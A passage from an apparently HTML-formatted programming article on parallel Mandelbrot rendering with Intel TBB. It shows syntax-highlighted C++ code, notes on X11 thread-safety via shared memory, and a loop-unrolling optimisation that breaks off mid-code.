<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">while</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>zx <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;=</span> <span style="color: teal;">4</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> max_iteration<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> xtemp <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cx<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">2</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cy<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zx <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> xtemp<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; i<span style="color: rgb(128, 128, 192); font-weight: bold;">++;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> i <span style="color: rgb(128, 128, 192); font-weight: bold;">%</span> <span style="color: teal;">255</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; color_t c <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">16</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">8</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>set_pixel<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>x<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>y<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>c<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
</div>
<p>Because xlib by itself is not thread-safe, special attention must be made when trying to update the display concurrently. One way to address this issue is to employee a shared memory region (<strong>X11/extensions/XShm.h</strong> and <strong>sys/shm.h</strong>), the display is first built in memory and then the shared memory is attached to the display. In my examples above I used code (<strong>video.h</strong>, <strong>xvideo.cpp</strong>) from the sample code that come with the TBB library, which uses the shared memory method I mentioned earlier to make the X11 calls thread-safe.</p>
<p>Many optimization methods can be used to further enhance the performance of the algorithm. One of the most efficient methods is to utilize SSE instructions found on all modern Intel processors (examples can be found here: <a href="http://softwarecommunity.intel.com/articles/eng/3426.htm">Using SSE3 Technology in Algorithms with Complex Arithmetic</a>). This approach however might be difficult to implement and debug since parallel data structures must be used in order to benefit from SSE instructions. Also, explicit assembly level coding makes porting code to other machine architectures a daunting task. Modern compilers can already take full advantage of the underlying machine architecture. For example, the gcc compiler (4.2.3) already generates SSE instructions for the code snippet above. While hand tweaking using SSE instructions might further improve the performance, we would certainly sacrifice code simplicity and portability.</p>
<p>The approach I am going to take to further optimize the code is to use loop unrolling. Since the inner loop of the standard algorithm is pretty short, unrolling the inner loop should lessen the burden of loop overhead and decrease the chances of stalling the pipeline (when branching must be predicted). So a high-level loop unrolling should be able to improve the performance.</p>
<p>Here is the code after the inner loop is unrolled:</p>
<div style="background: white none repeat scroll 0% 0%; font-family: Courier New; font-size: 10pt; color: black; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">void</span> <span style="color: blue; font-weight: bold;">operator</span><span style="color: rgb(128, 128, 192); font-weight: bold;">()</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">const</span> blocked_range2d<span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span>size_t<span style="color: rgb(128, 128, 192); font-weight: bold;">&gt;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;</span>r<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: blue; font-weight: bold;">const</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing_area drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">,</span> screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>screen_size<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t x <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>rows<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> x<span style="color: rgb(128, 128, 192); font-weight: bold;">+=</span><span style="color: teal;">2</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">for</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>size_t y <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>begin<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> r<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>cols<span style="color: rgb(128, 128, 192); font-weight: bold;">().</span>end<span style="color: rgb(128, 128, 192); font-weight: bold;">();</span> y<span style="color: rgb(128, 128, 192); font-weight: bold;">++)</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>x <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> x_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> x_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)(</span>x <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> <span style="color: teal;">1</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> x_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> x_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> cy <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>y <span style="color: rgb(128, 128, 192); font-weight: bold;">/</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span><span style="color: blue; font-weight: bold;">float</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span>screen_size <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> y_range <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> y_min<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> i1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> i2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">bool</span> loop_stop1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">bool</span> loop_stop2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">false</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">while</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">!(</span>loop_stop1 <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> loop_stop2<span style="color: rgb(128, 128, 192); font-weight: bold;">))</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> xtemp1<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">float</span> xtemp2<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">((</span>zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;=</span> <span style="color: teal;">4</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>i1 <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> max_iteration<span style="color: rgb(128, 128, 192); font-weight: bold;">))</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xtemp1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cx1<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">2</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy1 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cy<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zx1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> xtemp1<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; i1<span style="color: rgb(128, 128, 192); font-weight: bold;">++;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; loop_stop1 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">if</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">((</span>zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;=</span> <span style="color: teal;">4</span><span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">&amp;&amp;</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>i2<span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;</span> max_iteration<span style="color: rgb(128, 128, 192); font-weight: bold;">))</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; xtemp2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">-</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cx2<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">2</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">*</span> zy2 <span style="color: rgb(128, 128, 192); font-weight: bold;">+</span> cy<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; zx2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> xtemp2<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; i2<span style="color: rgb(128, 128, 192); font-weight: bold;">++;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">else</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">{</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; loop_stop2 <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: blue; font-weight: bold;">true</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">}</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <span style="color: blue; font-weight: bold;">int</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: teal;">0</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>i1<span style="color: rgb(128, 128, 192); font-weight: bold;">)</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">%</span> <span style="color: teal;">255</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; color_t c <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">16</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr <span style="color: rgb(128, 128, 192); font-weight: bold;">&lt;&lt;</span> <span style="color: teal;">8</span> <span style="color: rgb(128, 128, 192); font-weight: bold;">|</span> itr<span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; drawing<span style="color: rgb(128, 128, 192); font-weight: bold;">.</span>set_pixel<span style="color: rgb(128, 128, 192); font-weight: bold;">(</span>x<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>y<span style="color: rgb(128, 128, 192); font-weight: bold;">,</span>c<span style="color: rgb(128, 128, 192); font-weight: bold;">);</span></div>
<div style="margin: 0px;">&nbsp;</div>
<div style="margin: 0px;">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; itr <span style="color: rgb(128, 128, 192); font-weight: bold;">=</span> i2&nbsp; <span style="color: rgb(128, 128, 192); font-weight: bold;">%</span> <span style="color: teal;">255</span><span style="color: rgb(128, 128, 192); font-weight: bold;">;</span></div>
